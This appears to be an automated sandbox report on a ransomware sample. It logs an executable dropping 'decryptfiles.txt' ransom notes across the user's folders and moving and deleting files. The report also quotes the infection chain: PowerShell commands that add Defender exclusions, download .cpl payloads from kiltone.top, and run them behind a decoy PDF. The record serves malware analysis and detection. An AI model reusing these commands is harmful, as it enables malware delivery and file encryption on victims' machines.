Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\user~1\appdata\local\temp\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\user\desktop\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\user\desktop\atjbemhssb\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\user\desktop\bqjuwoyrto\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\user\desktop\bwetzdqdib\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\user\desktop\hmppsxqpqv\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\user\desktop\lfopodgvoh\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\user\desktop\lijdsfkjzg\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\user\desktop\nirmekamzh\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\user\desktop\qfapowpafg\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\user\desktop\ubvuntsczj\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\user\desktop\unkrlcvohv\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\user\desktop\wdbwcpefjw\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\user\desktop\wshejmdvqc\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\user\documents\atjbemhssb\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\user\documents\bqjuwoyrto\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\user\documents\bwetzdqdib\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\user\documents\hmppsxqpqv\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\user\documents\lfopodgvoh\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\user\documents\lijdsfkjzg\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\user\documents\my music\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\user\documents\my pictures\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\user\documents\my videos\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\user\documents\nirmekamzh\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\user\documents\qfapowpafg\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\user\documents\ubvuntsczj\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\user\documents\unkrlcvohv\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\user\documents\wdbwcpefjw\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\user\documents\wshejmdvqc\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\user\pictures\camera roll\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\user\pictures\saved pictures\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\user\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\user\.ms-ad\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\user\3d objects\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\user\appdata\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\user\appdata\roaming\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\user\appdata\roaming\adobe\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\user\appdata\roaming\adobe\acrobat\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\user\appdata\roaming\adobe\acrobat\dc\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\user\appdata\roaming\adobe\acrobat\dc\collab\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\user\appdata\roaming\adobe\acrobat\dc\forms\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\user\appdata\roaming\adobe\acrobat\dc\jscache\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\user\appdata\roaming\adobe\acrobat\dc\security\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\user\appdata\roaming\adobe\acrobat\dc\security\crlcache\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\user\appdata\roaming\adobe\acrobat\preflight acrobat continuous\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\user\appdata\roaming\adobe\crlogs\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\user\appdata\roaming\adobe\crlogs\crashlogs\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\user\appdata\roaming\adobe\flash player\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\user\appdata\roaming\adobe\flash player\nativecache\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\user\appdata\roaming\adobe\headlights\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\user\appdata\roaming\adobe\linguistics\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\user\appdata\roaming\adobe\logtransport2\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\user\appdata\roaming\adobe\logtransport2cc\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\user\appdata\roaming\adobe\rttransfer\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\user\appdata\roaming\adobe\sonar\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\user\appdata\roaming\adobe\sonar\sonarcc\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\user\appdata\roaming\com.adobe.dunamis\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\user\appdata\roaming\com.adobe.dunamis\56079431-ea46-4833-94f9-1ff5658cdb1c\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\user\appdata\roaming\com.adobe.dunamis\61f56613-c62c-4b17-84dd-62b60d5776aa\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\user\appdata\roaming\com.adobe.dunamis\6d9d9777-7ded-4768-8191-9a707d72b009\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\user\appdata\roaming\com.adobe.dunamis\f2eb6c79-671d-4de2-b7be-3b2eea7abc47\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\user\appdata\roaming\microsoft\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\user\appdata\roaming\microsoft\addins\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\user\appdata\roaming\microsoft\credentials\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\user\appdata\roaming\microsoft\crypto\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\user\appdata\roaming\microsoft\crypto\keys\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\user\appdata\roaming\microsoft\crypto\rsa\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\user\appdata\roaming\microsoft\crypto\rsa\s-1-5-21-2246122658-3693405117-2476756634-1003\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\user\appdata\roaming\microsoft\excel\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\user\appdata\roaming\microsoft\excel\xlstart\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\user\appdata\roaming\microsoft\internet explorer\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\user\appdata\roaming\microsoft\internet explorer\quick launch\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\user\appdata\roaming\microsoft\internet explorer\quick launch\user pinned\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\user\appdata\roaming\microsoft\internet explorer\quick launch\user pinned\implicitappshortcuts\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\user\appdata\roaming\microsoft\internet explorer\quick launch\user pinned\taskbar\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\user\appdata\roaming\microsoft\internet explorer\userdata\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\user\appdata\roaming\microsoft\internet explorer\userdata\low\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\user\appdata\roaming\microsoft\network\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\user\appdata\roaming\microsoft\network\connections\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\user\appdata\roaming\microsoft\network\connections\pbk\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\user\appdata\roaming\microsoft\network\connections\pbk\_hiddenpbk\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\user\appdata\roaming\microsoft\protect\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\user\appdata\roaming\microsoft\protect\s-1-5-21-2246122658-3693405117-2476756634-1003\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\user\appdata\roaming\microsoft\speech\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\user\appdata\roaming\microsoft\spelling\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\user\appdata\roaming\microsoft\systemcertificates\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\user\appdata\roaming\microsoft\systemcertificates\my\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\user\appdata\roaming\microsoft\systemcertificates\my\certificates\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\user\appdata\roaming\microsoft\systemcertificates\my\crls\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\user\appdata\roaming\microsoft\systemcertificates\my\ctls\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\user\appdata\roaming\microsoft\vault\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\user\appdata\roaming\microsoft\windows\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\user\appdata\roaming\microsoft\windows\accountpictures\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\user\appdata\roaming\microsoft\windows\cloudstore\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\user\appdata\roaming\microsoft\windows\libraries\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\user\appdata\roaming\microsoft\windows\network shortcuts\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\user\appdata\roaming\microsoft\windows\printer shortcuts\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\user\appdata\roaming\microsoft\windows\recent\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\user\appdata\roaming\microsoft\windows\recent\automaticdestinations\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\user\appdata\roaming\microsoft\windows\recent\customdestinations\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\user\appdata\roaming\microsoft\windows\recent items\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\user\appdata\roaming\microsoft\windows\sendto\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\user\appdata\roaming\microsoft\windows\start menu\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\user\appdata\roaming\microsoft\windows\start menu\programs\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\user\appdata\roaming\microsoft\windows\start menu\programs\accessibility\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\user\appdata\roaming\microsoft\windows\start menu\programs\accessories\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\user\appdata\roaming\microsoft\windows\start menu\programs\administrative tools\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\user\appdata\roaming\microsoft\windows\start menu\programs\maintenance\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\user\appdata\roaming\microsoft\windows\start menu\programs\startup\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\user\appdata\roaming\microsoft\windows\start menu\programs\system tools\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\user\appdata\roaming\microsoft\windows\start menu\programs\windows powershell\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\user\appdata\roaming\microsoft\windows\templates\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\user\appdata\roaming\microsoft\windows\themes\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\user\appdata\roaming\microsoft\windows\themes\cachedfiles\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\user\appdata\roaming\mozilla\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\user\appdata\roaming\mozilla\extensions\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\user\appdata\roaming\mozilla\firefox\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\user\appdata\roaming\mozilla\firefox\crash reports\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\user\appdata\roaming\mozilla\firefox\crash reports\events\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\user\appdata\roaming\mozilla\firefox\pending pings\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\user\appdata\roaming\mozilla\firefox\profiles\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\user\appdata\roaming\mozilla\firefox\profiles\fu7wner3.default-release\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\user\appdata\roaming\mozilla\firefox\profiles\fu7wner3.default-release\bookmarkbackups\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\user\appdata\roaming\mozilla\firefox\profiles\fu7wner3.default-release\crashes\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\user\appdata\roaming\mozilla\firefox\profiles\fu7wner3.default-release\crashes\events\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\user\appdata\roaming\mozilla\firefox\profiles\fu7wner3.default-release\datareporting\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\user\appdata\roaming\mozilla\firefox\profiles\fu7wner3.default-release\datareporting\archived\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\user\appdata\roaming\mozilla\firefox\profiles\fu7wner3.default-release\datareporting\archived\2023-10\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\user\appdata\roaming\mozilla\firefox\profiles\fu7wner3.default-release\datareporting\glean\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\user\appdata\roaming\mozilla\firefox\profiles\fu7wner3.default-release\datareporting\glean\db\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\user\appdata\roaming\mozilla\firefox\profiles\fu7wner3.default-release\datareporting\glean\events\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\user\appdata\roaming\mozilla\firefox\profiles\fu7wner3.default-release\datareporting\glean\pending_pings\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\user\appdata\roaming\mozilla\firefox\profiles\fu7wner3.default-release\datareporting\glean\tmp\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\user\appdata\roaming\mozilla\firefox\profiles\fu7wner3.default-release\minidumps\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\user\appdata\roaming\mozilla\firefox\profiles\fu7wner3.default-release\saved-telemetry-pings\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\user\appdata\roaming\mozilla\firefox\profiles\fu7wner3.default-release\security_state\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\user\appdata\roaming\mozilla\firefox\profiles\fu7wner3.default-release\sessionstore-backups\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\user\appdata\roaming\mozilla\firefox\profiles\fu7wner3.default-release\storage\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\user\appdata\roaming\mozilla\firefox\profiles\fu7wner3.default-release\storage\default\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\user\appdata\roaming\mozilla\firefox\profiles\fu7wner3.default-release\storage\permanent\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\user\appdata\roaming\mozilla\firefox\profiles\fu7wner3.default-release\storage\permanent\chrome\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\user\appdata\roaming\mozilla\firefox\profiles\fu7wner3.default-release\storage\permanent\chrome\idb\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\user\appdata\roaming\mozilla\firefox\profiles\fu7wner3.default-release\storage\permanent\chrome\idb\1451318868ntouromlalnodry--epcr.files\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\user\appdata\roaming\mozilla\firefox\profiles\fu7wner3.default-release\storage\permanent\chrome\idb\1657114595amcateirvtisty.files\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\user\appdata\roaming\mozilla\firefox\profiles\fu7wner3.default-release\storage\permanent\chrome\idb\2823318777ntouromlalnodry--naod.files\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\user\appdata\roaming\mozilla\firefox\profiles\fu7wner3.default-release\storage\permanent\chrome\idb\2918063365piupsah.files\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\user\appdata\roaming\mozilla\firefox\profiles\fu7wner3.default-release\storage\permanent\chrome\idb\3561288849sdhlie.files\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\user\appdata\roaming\mozilla\firefox\profiles\fu7wner3.default-release\storage\permanent\chrome\idb\3870112724rsegmnoittet-es.files\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\user\appdata\roaming\mozilla\firefox\profiles\fu7wner3.default-release\storage\temporary\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\user\appdata\roaming\mozilla\firefox\profiles\fu7wner3.default-release\storage\to-be-removed\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\user\appdata\roaming\mozilla\firefox\profiles\y572q81e.default\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\user\contacts\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\user\cookies\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\user\documents\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\user\downloads\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\user\favorites\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\user\favorites\links\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\user\links\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\user\onedrive\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\user\recent\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\user\saved games\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\user\searches\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\public\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\public\accountpictures\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\public\documents\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\public\documents\my music\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\public\documents\my pictures\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\public\documents\my videos\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\public\downloads\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\public\libraries\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile moved: C:\Users\user\Desktop\HMPPSXQPQV\QFAPOWPAFG.xlsx
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile deleted: C:\Users\user\Desktop\HMPPSXQPQV\QFAPOWPAFG.xlsx
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile moved: C:\Users\user\Desktop\BWETZDQDIB.mp3
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile moved: C:\Users\user\Desktop\HMPPSXQPQV.xlsx
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile moved: C:\Users\user\Desktop\UNKRLCVOHV\LFOPODGVOH.xlsx

System Summary

barindex
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\user\AppData\Local\Temp\fjeljies.cplJump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\user\AppData\Local\Temp\eryy65ty.exeJump to dropped file
Source: C:\Windows\System32\wscript.exeCOM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}Jump to behavior
Source: C:\Windows\System32\wscript.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command Add-MpPreference -ExclusionPath 'C:\Users\user~1\AppData\Local\Temp'
Source: C:\Windows\System32\wscript.exeProcess created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell start-process https://www.oldmutual.co.za/v3/assets/blt0554f48052bb4620/blt8b52803ba23b252a/66742ed3b2cbc14f42b4434c/Superfund_Beneficiary_Nomination_form.pdf
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell start-process https://www.oldmutual.co.za/v3/assets/blt0554f48052bb4620/blt8b52803ba23b252a/66742ed3b2cbc14f42b4434c/Superfund_Beneficiary_Nomination_form.pdf
Source: C:\Windows\System32\wscript.exeProcess created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell Invoke-WebRequest -Uri https://kiltone.top/stelin/rwcla.cpl -Outfile $env:tmp\\fjeljies.cpl
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Invoke-WebRequest -Uri https://kiltone.top/stelin/rwcla.cpl -Outfile $env:tmp\\fjeljies.cpl
Source: C:\Windows\System32\wscript.exeProcess created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c control C:\Users\user~1\AppData\Local\Temp/fjeljies.cpl
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "$env:tmp"
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell Invoke-WebRequest -Uri https://kiltone.top/stelin/Gosjeufon.cpl -Outfile $env:tmp\eryy65ty.exe
Source: C:\Windows\System32\wscript.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command Add-MpPreference -ExclusionPath 'C:\Users\user~1\AppData\Local\Temp'Jump to behavior
Source: C:\Windows\System32\wscript.exeProcess created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell start-process https://www.oldmutual.co.za/v3/assets/blt0554f48052bb4620/blt8b52803ba23b252a/66742ed3b2cbc14f42b4434c/Superfund_Beneficiary_Nomination_form.pdfJump to behavior
Source: C:\Windows\System32\wscript.exeProcess created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell Invoke-WebRequest -Uri https://kiltone.top/stelin/rwcla.cpl -Outfile $env:tmp\\fjeljies.cplJump to behavior
Source: C:\Windows\System32\wscript.exeProcess created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c control C:\Users\user~1\AppData\Local\Temp/fjeljies.cplJump to behavior
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell start-process https://www.oldmutual.co.za/v3/assets/blt0554f48052bb4620/blt8b52803ba23b252a/66742ed3b2cbc14f42b4434c/Superfund_Beneficiary_Nomination_form.pdfJump to behavior
